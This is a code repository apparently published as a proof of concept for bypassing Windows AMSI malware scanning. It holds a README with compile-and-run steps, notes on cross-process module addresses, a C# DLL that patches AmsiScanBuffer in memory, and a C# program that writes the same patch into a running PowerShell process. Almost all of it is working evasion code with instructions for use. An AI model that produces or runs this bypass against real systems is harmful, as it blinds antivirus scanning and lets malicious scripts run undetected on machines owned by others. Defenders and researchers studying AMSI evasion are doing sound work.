├── README.md ├── notes.txt ├── amsi_bypass_dll.cs └── remote_process_amsi_bypass.cs /README.md: -------------------------------------------------------------------------------- 1 | This PoC shows how to use [this](https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/) method to disable AMSI in a remote process. Avi's write-up explains how to disable AMSI by patching the AMSIScanBuffer method in memory, in the current process, by loading a DLL. A working example of that DLL code has been included in the repository as well. 2 | 3 | To disable AMSI in a remote PowerShell process, compile remote_process_amsi_bypass.cs: 4 | 5 | ``` 6 | PS> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:remote_process_amsi_bypass.exe .\remote_process_amsi_bypass.cs 7 | ``` 8 | 9 | Then open a single PowerShell instance. The PoC is hard coded to disable AMSI in a single PowerShell process (see code below): 10 | ``` 11 | Process.GetProcessesByName("powershell")[0] 12 | ``` 13 | 14 | Then run remote_process_amsi_bypass.exe from cmd.exe: 15 | ``` 16 | C:\Users\example\Desktop>remote_process_amsi_bypass.exe 17 | ``` 18 | 19 | AMSI should now be disabled in the PowerShell instance. 20 | 21 | To disable AMSI in PowerShell by loading a DLL, compile amsi_bypass_dll.cs: 22 | ``` 23 | PS> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /unsafe /out:amsi_bypass.dll .\amsi_bypass_dll.cs 24 | ``` 25 | 26 | Then, from within PowerShell, load the DLL and run its exported function: 27 | ``` 28 | PS> [System.Reflection.Assembly]::LoadFile('C:\Users\example\Desktop\amsi_bypass.dll') 29 | PS> [amsibypass.amsibypass]::run() 30 | -------------------------------------------------------------------------------- /notes.txt: -------------------------------------------------------------------------------- 1 | https://clymb3r.wordpress.com/2013/05/26/implementing-remote-loadlibrary-and-remote-getprocaddress-using-powershell-and-assembly/ 2 | 3 | ^was looking into using this but it turns out you can effectively implement Remote LoadLibrary and Remote GetProcAddress with Matt's trick below 4 | 5 | Matt Graeber says: 6 | May 26, 2013 at 9:42 pm 7 | Awesome post! I’m glad there’s finally someone else out there interested in low-level hacking with PowerShell. 8 | 9 | FYI, you can just call GetProcAddress in the running PowerShell process and be guaranteed that the address returned will be the same address in the remote process (as long as the module is loaded in the remote process, of course). Once one process loads a module, its address will remain fixed across all processes. For example, if process #1 was the first to load dbghelp.dll and it loaded at base address 0x40000000, then if process #2 loaded dbghelp.dll, it would be loaded at the same base address. I rely upon this trick in my Invoke-DllInjection function. You could validate my claim with the following short script: 10 | 11 | Get-Process | % { $Id = $_.Id; $_.Modules } | 12 | ? {$_.ModuleName -eq ‘kernel32.dll’} | 13 | % { “Kernel32.dll Base: 0x$($_.BaseAddress.ToString(“X$([IntPtr]::Size * 2)”)) (PID: $Id)” } 14 | 15 | That will display the loaded base address of kernel32.dll. You’l find that they are all loaded at the same base address. 16 | 17 | Keep up the good work and thanks for the link to my blog! 😀 18 | 19 | Happy hacking, 20 | Matt 21 | -------------------------------------------------------------------------------- /amsi_bypass_dll.cs: -------------------------------------------------------------------------------- 1 | //based on: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Runtime.InteropServices; 8 | 9 | namespace amsibypass 10 | { 11 | public class amsibypass 12 | { 13 | public enum Protection : uint 14 | { 15 | PAGE_NOACCESS = 0x01, 16 | PAGE_READONLY = 0x02, 17 | PAGE_READWRITE = 0x04, 18 | PAGE_WRITECOPY = 0x08, 19 | PAGE_EXECUTE = 0x10, 20 | PAGE_EXECUTE_READ = 0x20, 21 | PAGE_EXECUTE_READWRITE = 0x40, 22 | PAGE_EXECUTE_WRITECOPY = 0x80, 23 | PAGE_GUARD = 0x100, 24 | PAGE_NOCACHE = 0x200, 25 | PAGE_WRITECOMBINE = 0x400 26 | } 27 | 28 | [DllImport("kernel32.dll")] 29 | public static extern IntPtr LoadLibrary(string ddltoLoad); 30 | 31 | [DllImport("kernel32.dll")] 32 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName); 33 | 34 | [DllImport("kernel32.dll", SetLastError = true)] 35 | static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, 36 | Protection flNewProtect, IntPtr lpflOldProtect); 37 | 38 | [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] 39 | private static unsafe extern void MoveMemory(IntPtr dest, IntPtr src, int size); 40 | 41 | public static string run() 42 | { 43 | IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll 44 | if (dllHandle == null) return "error"; 45 | 46 | //Get the AmsiScanBuffer function address 47 | IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer"); 48 | if (AmsiScanbufferAddr == null) return "error"; 49 | 50 | IntPtr OldProtection = Marshal.AllocHGlobal(4); //pointer to store the current AmsiScanBuffer memory protection 51 | 52 | //Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40) 53 | bool VirtualProtectRc = VirtualProtect(AmsiScanbufferAddr, 0x0015, Protection.PAGE_EXECUTE_READWRITE, OldProtection); 54 | if (VirtualProtectRc == false) return "error"; 55 | 56 | //The new patch opcode 57 | var patch = new byte[] { 0x31, 0xff, 0x90 }; 58 | 59 | //Setting a pointer to the patch opcode array (unmanagedPointer) 60 | IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); 61 | Marshal.Copy(patch, 0, unmanagedPointer, 3); 62 | 63 | //Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode 64 | MoveMemory(AmsiScanbufferAddr + 0x001b, unmanagedPointer, 3); 65 | 66 | return "No more AMSI"; 67 | 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /remote_process_amsi_bypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Runtime.InteropServices; 8 | 9 | namespace bypasstest 10 | { 11 | class Program 12 | { 13 | public enum Protection : uint 14 | { 15 | PAGE_NOACCESS = 0x01, 16 | PAGE_READONLY = 0x02, 17 | PAGE_READWRITE = 0x04, 18 | PAGE_WRITECOPY = 0x08, 19 | PAGE_EXECUTE = 0x10, 20 | PAGE_EXECUTE_READ = 0x20, 21 | PAGE_EXECUTE_READWRITE = 0x40, 22 | PAGE_EXECUTE_WRITECOPY = 0x80, 23 | PAGE_GUARD = 0x100, 24 | PAGE_NOCACHE = 0x200, 25 | PAGE_WRITECOMBINE = 0x400 26 | } 27 | 28 | public enum ProcessAccessFlags : uint 29 | { 30 | Terminate = 0x00000001, 31 | CreateThread = 0x00000002, 32 | VMOperation = 0x00000008, 33 | VMRead = 0x00000010, 34 | VMWrite = 0x00000020, 35 | DupHandle = 0x00000040, 36 | SetInformation = 0x00000200, 37 | QueryInformation = 0x00000400, 38 | Synchronize = 0x00100000, 39 | All = 0x001F0FFF 40 | } 41 | 42 | [DllImport("kernel32.dll")] 43 | public static extern IntPtr LoadLibrary(string ddltoLoad); 44 | 45 | [DllImport("kernel32.dll")] 46 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName); 47 | 48 | [DllImport("kernel32.dll", SetLastError = true)] 49 | static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Protection flNewProtect, IntPtr lpflOldProtect); 50 | 51 | [DllImport("kernel32.dll", SetLastError = true)] 52 | static extern bool VirtualProtectEx(IntPtr hProcess,IntPtr lpAddress, uint dwSize, Protection flNewProtect, IntPtr lpflOldProtect); 53 | 54 | [DllImport("Kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = false)] 55 | private static unsafe extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int nSize); 56 | 57 | [DllImport("kernel32.dll")] 58 | public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); 59 | 60 | //allow us to catch a System.AccessViolationException in managed code and continue 61 | [System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptions] 62 | [System.Security.SecurityCritical] 63 | static void Main(string[] args) 64 | { 65 | IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll 66 | if (dllHandle == null) return; 67 | 68 | //Get the AmsiScanBuffer function address 69 | IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer"); 70 | if (AmsiScanbufferAddr == null) return; 71 | 72 | Process targetProcess = Process.GetProcessesByName("powershell")[0]; 73 | IntPtr procHandle = OpenProcess(ProcessAccessFlags.All, false, targetProcess.Id); 74 | 75 | IntPtr OldProtection = Marshal.AllocHGlobal(4); //pointer to store the current AmsiScanBuffer memory protection 76 | 77 | //Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40) 78 | bool VirtualProtectRc = VirtualProtectEx(procHandle, AmsiScanbufferAddr, 0x0015, Protection.PAGE_EXECUTE_READWRITE, OldProtection); 79 | if (VirtualProtectRc == false) return; 80 | 81 | var patch = new byte[] { 0x31, 0xff, 0x90 }; 82 | 83 | //Setting a pointer to the patch opcode array (unmanagedPointer) 84 | IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); 85 | Marshal.Copy(patch, 0, unmanagedPointer, 3); 86 | try{ 87 | //Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode 88 | WriteProcessMemory(procHandle, AmsiScanbufferAddr + 0x001b, unmanagedPointer, 3); 89 | } catch { 90 | //silent continue 91 | } 92 | } 93 | } 94 | } 95 | 96 | --------------------------------------------------------------------------------